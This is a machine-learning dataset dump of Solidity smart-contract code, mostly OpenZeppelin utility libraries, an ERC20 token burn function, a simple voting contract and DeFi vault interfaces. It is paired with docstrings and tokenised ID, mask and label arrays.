overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ICLeverToken is IERC20 { function mint(address _recipient, uint256 _amount) external; function burn(uint256 _amount) external; function burnFrom(address _account, uint256 _amount) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
@dev Burn tokens of a account. @param _account the account to burn tokens. @param _amount the amount of tokens to burn.
function burnFrom(address _account, uint256 _amount) external override { uint256 _decreasedAllowance = allowance(_account, msg.sender).sub( _amount, "CLeverToken: burn amount exceeds allowance" ); _approve(_account, msg.sender, _decreasedAllowance); _burn(_account, _amount); }
1,153,645
[ 1, 38, 321, 2430, 434, 279, 2236, 18, 225, 389, 4631, 326, 2236, 358, 18305, 2430, 18, 225, 389, 8949, 326, 3844, 434, 2430, 358, 18305, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 18305, 1265, 12, 2867, 389, 4631, 16, 2254, 5034, 389, 8949, 13, 3903, 3849, 288, 203, 565, 2254, 5034, 389, 323, 1793, 8905, 7009, 1359, 273, 1699, 1359, 24899, 4631, 16, 1234, 18, 15330, 2934, 1717, 12, 203, 1377, 389, 8949, 16, 203, 1377, 315, 39, 1682, 502, 1345, 30, 18305, 3844, 14399, 1699, 1359, 6, 203, 565, 11272, 203, 203, 565, 389, 12908, 537, 24899, 4631, 16, 1234, 18, 15330, 16, 389, 323, 1793, 8905, 7009, 1359, 1769, 203, 565, 389, 70, 321, 24899, 4631, 16, 389, 8949, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; contract Election{ mapping (bytes32 => uint) public votecount; bytes32[] public candidates; constructor(bytes32[] memory candidate_name) public{ // takes names of candidates as input and stores them candidates = candidate_name; } function getTotalVotes(bytes32 candidate) public view returns(uint){ // to return total votes for candidate with name as input return votecount[candidate]; } function castVote(bytes32 candidate) public{ // function to cast vote for candidate with name as input votecount[candidate] += 1; } modifier validity(bytes32 candidate){ require(checkValidity(candidate)); _; } function checkValidity(bytes32 candidate) internal view returns(bool){ for(uint i=0;i<candidates.length;i++){ if(candidates[i] == candidate){ return true; } } return false; } }
to return total votes for candidate with name as input
function getTotalVotes(bytes32 candidate) public view returns(uint){ return votecount[candidate]; }
5,450,509
[ 1, 869, 327, 2078, 19588, 364, 5500, 598, 508, 487, 810, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12831, 29637, 12, 3890, 1578, 5500, 13, 1071, 1476, 1135, 12, 11890, 15329, 203, 3639, 327, 331, 352, 557, 592, 63, 19188, 15533, 203, 540, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-10-26 */ // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Global Enums and Structs struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } // Part: AggregatorInterface interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated( int256 indexed current, uint256 indexed roundId, uint256 updatedAt ); event NewRound( uint256 indexed roundId, address indexed startedBy, uint256 startedAt ); } // Part: DssAutoLine interface DssAutoLine { function exec(bytes32 _ilk) external returns (uint256); } // Part: GemLike interface GemLike { function approve(address, uint256) external; function transfer(address, uint256) external; function transferFrom( address, address, uint256 ) external; function deposit() external payable; function withdraw(uint256) external; } // Part: IBaseFee interface IBaseFee { function basefee_global() external view returns (uint256); } // Part: IOSMedianizer interface IOSMedianizer { function foresight() external view returns (uint256 price, bool osm); function read() external view returns (uint256 price, bool osm); } // Part: ISwap interface ISwap { function swapExactTokensForTokens( uint256, uint256, address[] calldata, address, uint256 ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256, uint256, address[] calldata, address, uint256 ) external returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); } // Part: JugLike interface JugLike { function drip(bytes32) external returns (uint256); } // Part: ManagerLike interface ManagerLike { function cdpCan( address, uint256, address ) external view returns (uint256); function ilks(uint256) external view returns (bytes32); function owns(uint256) external view returns (address); function urns(uint256) external view returns (address); function vat() external view returns (address); function open(bytes32, address) external returns (uint256); function give(uint256, address) external; function cdpAllow( uint256, address, uint256 ) external; function urnAllow(address, uint256) external; function frob( uint256, int256, int256 ) external; function flux( uint256, address, uint256 ) external; function move( uint256, address, uint256 ) external; function exit( address, uint256, address, uint256 ) external; function quit(uint256, address) external; function enter(address, uint256) external; function shift(uint256, uint256) external; } // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/[email protected]/Math /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Part: OpenZeppelin/[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: SpotLike interface SpotLike { function live() external view returns (uint256); function par() external view returns (uint256); function vat() external view returns (address); function ilks(bytes32) external view returns (address, uint256); } // Part: VatLike interface VatLike { function can(address, address) external view returns 